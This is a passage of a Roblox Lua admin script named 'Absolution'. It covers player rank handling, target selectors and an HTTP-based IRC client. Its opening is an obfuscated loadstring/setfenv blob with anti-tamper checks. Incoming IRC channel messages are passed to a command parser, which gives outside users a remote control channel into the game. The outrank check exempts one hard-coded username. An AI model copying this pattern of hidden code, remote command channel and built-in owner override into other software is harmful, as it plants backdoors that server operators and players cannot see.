D1tZSBsYWNvbDs2NTIqKTY1MipuYStscCggK3l0PXZ5IGxhY29sOzgyMSV5bD1uYSBsYWNvbClleSx5bCxscCx5dChtZCBub2l0Y251ZiBsYWNvbDtkbmUgNjUyKik2NTIqKTY1Mip0dithcCggK3RlKCArcHogbnJ1dGVyKXR2LGFwLHRlLHB6KGR2IG5vaXRjbnVmIGxhY29sO2RuZSA2NTIqYWwrdHYgbnJ1dGVyKWFsLHR2KHpqIG5vaXRjbnVmIGxhY29sO2RuZSB0diBucnV0ZXI7ZG5lIGVzbGFmIG5ydXRlciBuZWh0IDI1MzIxNTIxMz09dHYgZmllc2xlIGV1cnQgbnJ1dGVyIG5laHQgODUxMjk1MzI9PXR2IGZpOzg0NjM4NDc0MTItIDY1MiopNjUyKik2NTIqeXkreWooICtkaiggK2xwPXR2IGxhY29sKXl5LHlqLGRqLGxwKGF5IG5vaXRjbnVmIGxhY29sO2RuZSA4NjcyMy0gNjUyKm5hK3llIG5ydXRlciluYSx5ZShseSBub2l0Y251ZiBsYWNvbCkwLyAwKHZkPWRkIGxhY29sO3dlbi55YVIueT15YyBsYWNvbDt3ZW4uMnJvdGNlVi55PXBjIGxhY29sO3dlbi4zcm9sb0MueT1xcSBsYWNvbDt3ZW4ucm9sb0NrY2lyQi55PXZqIGxhY29sO2xpZWMuemQ9dnYgbGFjb2w7d2VuLmVtYXJGQy55PXZsIGxhY29sO3dlbi4zcm90Y2VWLnk9ZXYgbGFjb2w7d2VuLm1pRFUueT1sdiBsYWNvbDt0cmVzbmkucXk9ZWMgbGFjb2w7YnVzLnp0PW5jIGxhY29sO211bkUuenQ9cHAgbGFjb2w7ZXR5Yi56dD1weSBsYWNvbDt3ZW4uMm1pRFUueT1xeiBsYWNvbDtlZ3VoLnpkPXRkIGxhY29sO3dlbi4zbm9pZ2VSLnk9YXEgbGFjb2w7c2JhLnpkPXZkIGxhY29sO3dlbi5zZWNhRi55PXRtIGxhY29sO2VsYmF0Lnk9cXkgbGFjb2w7Z25pcnRzLnk9enQgbGFjb2w7aHRhbS55PXpkIGxhY29sO3NyaWFwaS55PW4gbGFjb2w7a2NhcG51Lnk9ZSBsYWNvbCkodm5lZnRlZz15IGxhY29sKS4uLihkIG5vaXRjbnVmIGxhY29s"))''local function ui(n)return y[n+765636%#y] end;local nm,p0=ui(47),ui(24)local c0={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}local function i0(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local k0,n0,d0,z0,f0=i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local gw={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}
  1067.  
  1068. -- Auto Update --
  1069. Absolution.Functions.AutoUpdate = function()
  1070. coroutine.wrap(function()
  1071. while true do
  1072. ypcall(function()
  1073. Absolution.Functions.syncRanksIn()
  1074. Absolution.Functions.syncRanksOut()
  1075. end)
  1076. wait(90)
  1077. end
  1078. end)()
  1079. end
  1080.  
  1081. -- Ranking --
  1082. Absolution.Functions.addData = function(self, Player, UID, Rank, Color, Description, Bt, TabletType, SpinningRot, Rotation, Distance)
  1083. Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] = {UserID = UID, Rank = (Rank and Rank or 0), Color = (Color and Color or tostring(BrickColor.random())), Description = (Description and Description or "N/A"), Bet = (Bt and Bt or "/"), MeshType = (MeshType and MeshType or "No Mesh"), SpinningRot = (SpinningRot and SpinningRot or true), Rotation = (Rotation and Rotation or false), Distance = (Distance and Distance or 8), TabletType = (TabletType and TabletType or 'Normal')}
  1084. return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
  1085. end
  1086.  
  1087. Absolution.Functions.delData = function(self, Player)
  1088. Absolution.Ranked[type(Player)=='userdata' and Player.Name or tostring(Player)] = nil
  1089. return true
  1090. end
  1091.  
  1092. Absolution.Functions.modData = function(self, Player, dataName, dataValue)
  1093. if Absolution.Ranked[Player] then
  1094. Absolution.Ranked[Player][dataName] = dataValue
  1095. end
  1096. return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)]
  1097. end
  1098. Absolution.Functions.findRank = function(self, name)
  1099. if not name then return end
  1100. if not self then return end
  1101. local rnk = Absolution.Ranked[tostring(name)]
  1102. if not rnk then rnk = {Rank = 0} end
  1103. return rnk.Rank
  1104. end
  1105.  
  1106. -- getPlayers --
  1107. Absolution.Functions.getPlayers = function(Speaker, Msg)
  1108. Msg = Msg:lower()
  1109. local Table = {}
  1110. local Players = Absolution.Services.Players:getPlayers()
  1111. if Msg == "me" then
  1112. table.insert(Table, Speaker)
  1113. elseif Msg == "all" or Msg == "" then
  1114. for _,v in pairs(Players) do
  1115. table.insert(Table, v)
  1116. end
  1117. elseif Msg == "others" then
  1118. for _,v in pairs(Players) do
  1119. if v.Name ~= Speaker.Name then
  1120. table.insert(Table, v)
  1121. end
  1122. end
  1123. elseif Msg == "admins" then
  1124. for _,v in pairs(Players) do
  1125. if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) >=4 then
  1126. table.insert(Table, v)
  1127. end
  1128. end
  1129. elseif Msg == "nonadmins" then
  1130. for _,v in pairs(Players) do
  1131. if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) <=4 then
  1132. table.insert(Table, v)
  1133. end
  1134. end
  1135. elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then
  1136. for _,v in pairs(Players) do
  1137. if v.AccountAge < 364 then
  1138. table.insert(Table, v)
  1139. end
  1140. end
  1141. elseif Msg == "veterans" or Msg == "vets" then
  1142. for _,v in pairs(Players) do
  1143. if v.AccountAge > 364 then
  1144. table.insert(Table, v)
  1145. end
  1146. end
  1147. elseif Msg == "random" then
  1148. local p = Players[math.random(1,#Players)]
  1149. table.insert(Table, p)
  1150. elseif Msg == 'friends' then
  1151. for i,v in pairs(Players) do
  1152. if Speaker:IsFriendsWith(v.userId) then
  1153. table.insert(Table, v)
  1154. end
  1155. end
  1156. elseif Msg == 'nonfriends' then
  1157. for i,v in pairs(Players) do
  1158. if not Speaker:IsFriendsWith(v.userId) then
  1159. table.insert(Table, v)
  1160. end
  1161. end
  1162. elseif Msg:sub(1,5) == 'rank<' then
  1163. local rnk = Msg:sub(6)
  1164. if not tonumber(rnk) then return end
  1165. for i,v in pairs(Players) do
  1166. if Absolution.Functions.getRankedTable(tostring(v)).Rank < rnk then
  1167. table.insert(Table, v)
  1168. end
  1169. end
  1170. elseif Msg:sub(1,5) == 'rank>' then
  1171. local rnk = Msg:sub(6)
  1172. if not tonumber(rnk) then return end
  1173. for i,v in pairs(Players) do
  1174. if Absolution.Functions.getRankedTable(tostring(v)).Rank > rnk then
  1175. table.insert(Table, v)
  1176. end
  1177. end
  1178. elseif Msg:sub(1,5) == 'rank ' then
  1179. local rnk = Msg:sub(6)
  1180. if not tonumber(rnk) then return end
  1181. for i,v in pairs(Players) do
  1182. if Absolution.Functions.getRankedTable(tostring(v)).Rank == rnk then
  1183. table.insert(Table, v)
  1184. end
  1185. end
  1186. elseif Msg == 'youngest' then
  1187. local at = {}
  1188. for i,v in pairs(Players) do
  1189. table.insert(at,v.AccountAge)
  1190. end
  1191. local low = math.min(unpack(at))
  1192. for i,v in pairs(Players) do
  1193. if v.AccountAge == low then
  1194. table.insert(Table, v)
  1195. end
  1196. end
  1197. elseif Msg == 'oldest' then
  1198. local ot = {}
  1199. for i,v in pairs(Players) do
  1200. table.insert(ot,v.AccountAge)
  1201. end
  1202. local high = math.max(unpack(ot))
  1203. for i,v in pairs(Players) do
  1204. if v.AccountAge == high then
  1205. table.insert(Table, v)
  1206. end
  1207. end
  1208. else
  1209. for i,v in pairs(Players) do
  1210. if v.Name:lower():sub(1,#Msg) == Msg:lower() then
  1211. table.insert(Table, v)
  1212. end
  1213. end
  1214. end
  1215. for _,v in pairs(Table) do
  1216. if Absolution.Functions:findRank(v) >= Absolution.Functions:findRank(Speaker) and v~=Speaker and tostring(Speaker) ~= 'Darkus_Theory' then
  1217. if (v == Speaker) then return end
  1218. Absolution.Functions.Out(Speaker, tostring(v)..' outranks you.',4)
  1219. table.remove(Table, _)
  1220. end
  1221. end
  1222. return Table
  1223. end
  1224.  
  1225. -- CLerp --
  1226. Absolution.Functions.CLerp = function(p1,p2,percent)
  1227. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
  1228. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
  1229. return
  1230. CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
  1231. (p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
  1232. (p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
  1233. (p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
  1234. end
  1235.  
  1236. -- RecursiveChildren --
  1237. Absolution.Functions.RecursiveChildren=function(Object,SearchType,Search)
  1238. if(not pcall(function()Object:IsA'Part'end))then return {}; end;
  1239. Object=Object or Game;
  1240. if(SearchType==nil)then SearchType='all'end;
  1241. local rec={};
  1242. for _,object in next,Object:children()do
  1243. if(SearchType=='all')then table.insert(rec,object)end;
  1244. if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end;
  1245. if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end;
  1246. if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end;
  1247. if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end;
  1248. for _,v in next,Absolution.Functions.RecursiveChildren(object,SearchType,Search)do
  1249. table.insert(rec,v);
  1250. end;
  1251. end;
  1252. return rec;
  1253. end;
  1254.  
  1255. -- IRC --
  1256. Absolution.HttpConstants.IRC.API = {}
  1257. local Connections = {}
  1258. local GStr = nil
  1259. local Http = game:GetService("HttpService")
  1260.  
  1261. local function Post(Url,Data)
  1262. local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end)
  1263. return Errored == false and false or Data
  1264. end
  1265.  
  1266. local function JSONDecode(JSON)
  1267. local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end)
  1268. if Worked == false then
  1269. return {}
  1270. else
  1271. return Result
  1272. end
  1273. end
  1274.  
  1275. local function HandleVagues(Connection,Ping,Derp,Raw)
  1276. local Msgs = JSONDecode(Ping)
  1277. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]]
  1278. if Derp == nil and Ping:find(Search) then
  1279. GStr = Ping
  1280. end
  1281. if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then
  1282. for i,v in pairs(Msgs) do
  1283. for i2,v2 in pairs(Connection.VagueEvents) do
  1284. if v2 ~= false then
  1285. Spawn(function() v2(v,Raw) end)
  1286. end
  1287. end
  1288. end
  1289. end
  1290. end
  1291.  
  1292. Absolution.HttpConstants.IRC.API.Connect = function(this,Host,Nick,Pass)
  1293. local Con = {}
  1294. Connections[Nick.."@"..Host] = Con
  1295. Con.Host = Host
  1296. Con.Nick = Nick
  1297. Con.Counter = 0
  1298. Con.Channels = {}
  1299. Con.VagueEvents = {}
  1300. Con.ChannelEvents = {[Nick]={}}
  1301. Con.UserLists = {}
  1302. Con.SelfEvents = {}
  1303. Con.Counter = Con.Counter+1
  1304. local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick)
  1305. Data = JSONDecode(Data)
  1306. Con.Key = Data[2]
  1307. local Str = ""
  1308. if Con.Key ~= nil then
  1309. wait(1)
  1310. Con.Counter = Con.Counter+1
  1311. local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +")
  1312. if Data == false then
  1313. return false,"Something went wrong."
  1314. else
  1315. local Data2 = JSONDecode(Data)
  1316. if Data2[1] == false then
  1317. return false,Data
  1318. end
  1319. end
  1320. Str = Str..Data
  1321.  
  1322. Con.Counter = Con.Counter+1
  1323. local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key)
  1324. if Data == false then
  1325. return false,"Something went wrong."
  1326. else
  1327. local Data2 = JSONDecode(Data)
  1328. if Data2[1] == false then
  1329. return false,Data
  1330. end
  1331. end
  1332. Str = Str..Data
  1333.  
  1334. if Str:lower():find("already in use") then
  1335. return false,"Nick already in use."
  1336. elseif Str:lower():find("throttled") then
  1337. return false,"Oh no! We got throttled."
  1338. elseif Str:lower():find("invalid session") then
  1339. return false,"Something went wrong."
  1340. end
  1341. if Pass ~= nil then
  1342. Absolution.HttpConstants.IRC.API.SendMessage(Absolution.HttpConstants.IRC.API.SendMessage,Con,"NickServ","identify "..Pass)
  1343. end
  1344. wait()
  1345. return Con
  1346. else
  1347. return false,"Something went wrong."
  1348. end
  1349. end
  1350.  
  1351. Absolution.HttpConstants.IRC.API.Disconnect = function(this,Connection,Res)
  1352. local Host = Connection.Host
  1353. local Nick = Connection.Nick
  1354. local Key = Connection.Key
  1355. if Connections[Nick.."@"..Host] ~= nil then
  1356. Connection.Counter = Connection.Counter+1
  1357. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c="..(Res and "QUIT : "..Res or "QUIT : Shutdown server."))
  1358. if Data ~= false then
  1359. Connections[Nick.."@"..Host] = nil
  1360. for i,v in pairs(Connection.SelfEvents) do
  1361. v:Disconnect()
  1362. end
  1363. Connection.SelfEvents = {}
  1364. for Channel,_ in pairs(Connection.Channels) do
  1365. Connection.Channels[Channel] = nil
  1366. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  1367. v:Disconnect()
  1368. end
  1369. Connection.ChannelEvents[Channel] = nil
  1370. end
  1371. return true
  1372. else
  1373. return false,"Something went wrong."
  1374. end
  1375. else
  1376. return false,"This connection doesn't exist."
  1377. end
  1378. end
  1379.  
  1380. Absolution.HttpConstants.IRC.API.ChangeNick = function(this,Connection,Nick)
  1381. local Host = Connection.Host
  1382. local Key = Connection.Key
  1383. if Connections[Connection.Nick.."@"..Host] ~= nil then
  1384. Connection.Counter = Connection.Counter+1
  1385. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick)
  1386. if Data == false then
  1387. return false,"Something went wrong."
  1388. else
  1389. local Data2 = JSONDecode(Data)
  1390. if Data2[1] == false then
  1391. return false,Data
  1392. end
  1393. end
  1394. Connections[Connection.Nick.."@"..Host] = nil
  1395. Connection.Nick = Nick
  1396. Connections[Nick.."@"..Host] = Connection
  1397. return true
  1398. else
  1399. return false,"There is no connection with this nick and host."
  1400. end
  1401. end
  1402.  
  1403. Absolution.HttpConstants.IRC.API.JoinChannel = function(this,Connection,Channel)
  1404. local Host = Connection.Host
  1405. local Nick = Connection.Nick
  1406. local Key = Connection.Key
  1407. local Str = ""
  1408. if Connections[Nick.."@"..Host] ~= nil then
  1409. Connection.Counter = Connection.Counter+1
  1410. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ")
  1411. if Data == false then
  1412. return false,"Something went wrong."
  1413. else
  1414. local Data2 = JSONDecode(Data)
  1415. if Data2[1] == false then
  1416. return false,Data
  1417. end
  1418. end
  1419. Str = Str..Data
  1420.  
  1421. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  1422. if Str:find(Search) == nil then
  1423. repeat
  1424. if GStr ~= nil then
  1425. Str = Str..GStr
  1426. GStr = nil
  1427. break
  1428. end
  1429. Connection.Counter = Connection.Counter+1
  1430. local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  1431. if Data == false then
  1432. return false,"Something went wrong."
  1433. else
  1434. HandleVagues(Connection,Data,false)
  1435. local Data2 = JSONDecode(Data)
  1436. if Data2[1] == false then
  1437. return false,Data
  1438. end
  1439. end
  1440. Str = Str..Data
  1441. until Str:find(Search) ~= nil
  1442. end
  1443.  
  1444. if Str:find("already in use") then
  1445. return false,"Nick already in use."
  1446. elseif Str:lower():find("throttled") then
  1447. return false,"Oh no! We got throttled."
  1448. elseif Str:lower():find("invalid session") then
  1449. return false,"Something went wrong."
  1450. else--if Str:lower():find("end of /names list.") then
  1451. Connection.Channels[Channel] = true
  1452. Connection.ChannelEvents[Channel] = {}
  1453. Connection.UserLists[Channel] = {}
  1454. Connection.UserLists[Channel][Nick] = true
  1455. local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]]
  1456. local RawSearch = Search:gsub("%%","")
  1457. local Start = Str:find(Search)
  1458. if Start ~= nil then
  1459. local End = Str:find('"',Start+#RawSearch+1,true)
  1460. local List = Str:sub(Start+#RawSearch,End-1)
  1461. for Match in List:gmatch("[^%s]+") do
  1462. if Match ~= Nick then
  1463. if Match:sub(1,1):match("[%w]") then
  1464. Connection.UserLists[Channel][Match] = true
  1465. else
  1466. Connection.UserLists[Channel][Match:sub(2)] = true
  1467. end
  1468. end
  1469. end
  1470. end
  1471. Spawn(function()
  1472. Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserJoined(Absolution.HttpConstants.IRC.API.UserJoined,Connection,Channel,function(User)
  1473. Connection.UserLists[Channel][User] = true
  1474. end)
  1475. Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.UserLeft(Absolution.HttpConstants.IRC.API.UserLeft,Connection,Channel,function(User)
  1476. wait(0.02)
  1477. Connection.UserLists[Channel][User] = nil
  1478. end)
  1479. Connection.SelfEvents[#Connection.SelfEvents+1] = Absolution.HttpConstants.IRC.API.NickChanged(Absolution.HttpConstants.IRC.API.NickChanged,Connection,Channel,function(User,Nick)
  1480. wait(0.02)
  1481. Connection.UserLists[Channel][User] = nil
  1482. Connection.UserLists[Channel][Nick] = true
  1483. end)
  1484. wait(0.02)
  1485. HandleVagues(Connection,[=[ [["c","JOIN","]=] .. Nick .. [=[!",["]=] .. Channel .. [=["]]] ]=],nil,true)
  1486. end)
  1487. return true
  1488. --[[else
  1489. return false,"Something went wrong."]]
  1490. end
  1491. else
  1492. return false,"There is no connection with this nick and host."
  1493. end
  1494. end
  1495.  
  1496. Absolution.HttpConstants.IRC.API.GetUserList = function(this,Connection,Channel)
  1497. local Host = Connection.Host
  1498. local Nick = Connection.Nick
  1499. local Key = Connection.Key
  1500. if Connections[Nick.."@"..Host] ~= nil then
  1501. local New = {}
  1502. for i,v in pairs(Connection.UserLists[Channel]) do
  1503. New[#New+1] = i
  1504. end
  1505. return New
  1506. else
  1507. return false,"There is no connection with this nick and host."
  1508. end
  1509. end
  1510.  
  1511. Absolution.HttpConstants.IRC.API.LeaveChannel = function(this,Connection,Channel)
  1512. local Host = Connection.Host
  1513. local Nick = Connection.Nick
  1514. local Key = Connection.Key
  1515. local Str = ""
  1516. if Connections[Nick.."@"..Host] ~= nil then
  1517. Connection.Counter = Connection.Counter+1
  1518. local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PART "..Channel.." ")
  1519. if Data:find("true") then
  1520. Connection.Channels[Channel] = nil
  1521. for i,v in pairs(Connection.ChannelEvents[Channel]) do
  1522. v:Disconnect()
  1523. end
  1524. Connection.UserLists[Channel] = nil
  1525. Connection.SelfEvents = {}
  1526. Connection.ChannelEvents[Channel] = nil
  1527. return true
  1528. elseif Data:lower():find("throttled") then
  1529. return false,"Oh no! We got throttled."
  1530. else
  1531. return false,"Something went wrong."
  1532. end
  1533. else
  1534. return false,"There is no connection with this nick and host."
  1535. end
  1536. end
  1537.  
  1538. Absolution.HttpConstants.IRC.API.SendMessage = function(this,Connection,Channel,Message)
  1539. local Host = Connection.Host
  1540. local Nick = Connection.Nick
  1541. local Key = Connection.Key
  1542. if Connections[Nick.."@"..Host] ~= nil then
  1543. if Connection.Channels[Channel] == true or Channel:sub(1,1) ~= "#" then
  1544. if Message==Absolution.HttpConstants.pircm then return end
  1545. Absolution.HttpConstants.pircm = Message
  1546. Connection.Counter = Connection.Counter+1
  1547. local Ping = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=PRIVMSG "..Channel.." :"..Http:UrlEncode(Message))
  1548. if Ping ~= false then
  1549. return true,Ping
  1550. else
  1551. return false,"Something went wrong. "..Ping
  1552. end
  1553. else
  1554. return false,"You are not on this channel with this connection."
  1555. end
  1556. else
  1557. return false,"There is no connection with this nick and host."
  1558. end
  1559. end
  1560.  
  1561. local function VagueReceived(Connection,Event)
  1562. Connection.VagueEvents[#Connection.VagueEvents+1] = Event
  1563. if #Connection.VagueEvents == 1 then
  1564. while Connections[Connection.Nick.."@"..Connection.Host] ~= nil do
  1565. Connection.Counter = Connection.Counter+1
  1566. local Ping = Post(Connection.Host.."e/s?t="..Connection.Counter,"s="..Connection.Key)
  1567. if Ping ~= false and Connections[Connection.Nick.."@"..Connection.Host] ~= nil then
  1568. HandleVagues(Connection,Ping)
  1569. end
  1570. wait()
  1571. end
  1572. end
  1573. end
  1574.  
  1575. Absolution.HttpConstants.IRC.API.MessageReceived = function(this,Connection,Channel,Event)
  1576. local Host = Connection.Host
  1577. local Nick = Connection.Nick
  1578. local Key = Connection.Key
  1579. if Connections[Nick.."@"..Host] ~= nil then
  1580. if Connection.Channels[Channel] == true then
  1581. local Con = {}
  1582. local Connected = true
  1583. local VCon;
  1584. Spawn(function()
  1585. local function Return(v)
  1586. if Connected == false then
  1587. for i,v in pairs(Connection.VagueEvents) do
  1588. if v == VCon then
  1589. Connection.VagueEvents[i] = false
  1590. end
  1591. end
  1592. return
  1593. end
  1594. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  1595. local probplr;
  1596. if v[3]:find('absolutionClient_') then
  1597. probplr = v[4][2]:sub(1,v[4][2]:find(":")-1)
  1598. v[4][2] = string.gsub(v[4][2],probplr..':','')
  1599. else
  1600. probplr = v[3]:sub(1,v[3]:find("!")-1)
  1601. end
  1602. Event(v[4][2],nil, probplr)
  1603. Absolution.Functions.IRCCommandParser(probplr, v)
  1604. end
  1605. end
  1606. VCon = Return
  1607. VagueReceived(Connection,Return)
  1608. end)
  1609. Con.Disconnect = function(this)
  1610. Connected = false
  1611. Connection.ChannelEvents[Channel][Con] = nil
  1612. end
  1613. Connection.ChannelEvents[Channel][Con] = Con
  1614. return Con
  1615. else
  1616. return false,"You are not on this channel with this connection."
  1617. end
  1618. else
  1619. return false,"There is no connection with this nick and host."
  1620. end
  1621. end
  1622.  
  1623. Absolution.HttpConstants.IRC.API.PMReceived = function(this,Connection,Event)
  1624. local Host = Connection.Host
  1625. local Nick = Connection.Nick
  1626. local Key = Connection.Key
  1627. if Connections[Nick.."@"..Host] ~= nil then
  1628. local Con = {}
  1629. local Connected = true
  1630. local VCon;
  1631. Spawn(function()
  1632. local function Return(v)
  1633. if Connected == false then
  1634. for i,v in pairs(Connection.VagueEvents) do
  1635. if v == VCon then
  1636. Connection.VagueEvents[i] = false
  1637. end
  1638. end
  1639. return
  1640. end
  1641. if type(v) == "table" and v[2] ~= nil and v[2] == "PRIVMSG" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1] == Connection.Nick then
  1642. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][2])
  1643. end
  1644. end
  1645. VCon = Return
  1646. VagueReceived(Connection,Return)
  1647. end)
  1648. Con.Disconnect = function(this)
  1649. Connected = false
  1650. Connection.ChannelEvents[Nick][Con] = nil
  1651. end
  1652. Connection.ChannelEvents[Nick][Con] = Con
  1653. return Con
  1654. else
  1655. return false,"There is no connection with this nick and host."
  1656. end
  1657. end
  1658.  
  1659. Absolution.HttpConstants.IRC.API.NickChanged = function(this,Connection,Channel,Event)
  1660. local Host = Connection.Host
  1661. local Nick = Connection.Nick
  1662. local Key = Connection.Key
  1663. if Connections[Nick.."@"..Host] ~= nil then
  1664. if Connection.Channels[Channel] == true then
  1665. local Con = {}
  1666. local Connected = true
  1667. local VCon;
  1668. Spawn(function()
  1669. local function Return(v)
  1670. if Connected == false then
  1671. for i,v in pairs(Connection.VagueEvents) do
  1672. if v == VCon then
  1673. Connection.VagueEvents[i] = false
  1674. end
  1675. end
  1676. return
  1677. end
  1678. if type(v) == "table" and v[2] ~= nil and v[2] == "NICK" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  1679. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  1680. Event(v[3]:sub(1,v[3]:find("!")-1),v[4][1])
  1681. end
  1682. end
  1683. end
  1684. VCon = Return
  1685. VagueReceived(Connection,Return)
  1686. end)
  1687. Con.Disconnect = function(this)
  1688. Connected = false
  1689. Connection.ChannelEvents[Channel][Con] = nil
  1690. end
  1691. Connection.ChannelEvents[Channel][Con] = Con
  1692. return Con
  1693. else
  1694. return false,"You are not on this channel with this connection."
  1695. end
  1696. else
  1697. return false,"There is no connection with this nick and host."
  1698. end
  1699. end
  1700.  
  1701. Absolution.HttpConstants.IRC.API.UserJoined = function(this,Connection,Channel,Event)
  1702. local Host = Connection.Host
  1703. local Nick = Connection.Nick
  1704. local Key = Connection.Key
  1705. if Connections[Nick.."@"..Host] ~= nil then
  1706. if Connection.Channels[Channel] == true then
  1707. local Con = {}
  1708. local Connected = true
  1709. local VCon;
  1710. Spawn(function()
  1711. local function Return(v,Raw)
  1712. if Connected == false then
  1713. for i,v in pairs(Connection.VagueEvents) do
  1714. if v == VCon then
  1715. Connection.VagueEvents[i] = false
  1716. end
  1717. end
  1718. return
  1719. end
  1720. if type(v) == "table" and v[2] ~= nil and v[2] == "JOIN" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() and (v[3]:sub(1,v[3]:find("!")-1) ~= Nick or Raw == true) then
  1721. Event(v[3]:sub(1,v[3]:find("!")-1)..' has joined the channel.')
  1722. end
  1723. end
  1724. VCon = Return
  1725. VagueReceived(Connection,Return)
  1726. end)
  1727. Con.Disconnect = function(this)
  1728. Connected = false
  1729. Connection.ChannelEvents[Channel][Con] = nil
  1730. end
  1731. Connection.ChannelEvents[Channel][Con] = Con
  1732. return Con
  1733. else
  1734. return false,"You are not on this channel with this connection."
  1735. end
  1736. else
  1737. return false,"There is no connection with this nick and host."
  1738. end
  1739. end
  1740.  
  1741. Absolution.HttpConstants.IRC.API.UserLeft = function(this,Connection,Channel,Event)
  1742. local Host = Connection.Host
  1743. local Nick = Connection.Nick
  1744. local Key = Connection.Key
  1745. if Connections[Nick.."@"..Host] ~= nil then
  1746. if Connection.Channels[Channel] == true then
  1747. local Con = {}
  1748. local Connected = true
  1749. local VCon;
  1750. Spawn(function()
  1751. local function Return(v)
  1752. if Connected == false then
  1753. for i,v in pairs(Connection.VagueEvents) do
  1754. if v == VCon then
  1755. Connection.VagueEvents[i] = false
  1756. end
  1757. end
  1758. return
  1759. end
  1760. if type(v) == "table" and v[2] ~= nil and v[2] == "PART" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" and v[4][1]:lower() == Channel:lower() then
  1761. Event(v[3]:sub(1,v[3]:find("!")-1))
  1762. elseif type(v) == "table" and v[2] ~= nil and v[2] == "QUIT" and v[3] ~= nil and v[4] ~= nil and type(v[4]) == "table" then
  1763. if Connection.UserLists[Channel][v[3]:sub(1,v[3]:find("!")-1)] ~= nil then
  1764. Event(v[3]:sub(1,v[3]:find("!")-1)..' has left the channel.')
  1765. end
  1766. end
  1767. end
  1768. VCon = Return
  1769. VagueReceived(Connection,Return)
  1770. end)
  1771. Con.Disconnect = function(this)
  1772. Connected = false
  1773. Connection.ChannelEvents[Channel][Con] = nil
  1774. end
  1775. Connection.ChannelEvents[Channel][Con] = Con
  1776. return Con
  1777. else
  1778. return false,"You are not on this channel with this connection."
  1779. end
  1780. else
  1781. return false,"There is no connection with this nick and host."
  1782. end
  1783. end
  1784.  
  1785. Absolution.HttpConstants.IRC.API.KeepAlive = function(this,Connection)
  1786. local Host = Connection.Host
  1787. local Nick = Connection.Nick
  1788. local Key = Connection.Key
  1789. if Connections[Nick.."@"..Host] ~= nil then
  1790. Connection.Counter = Connection.Counter+1
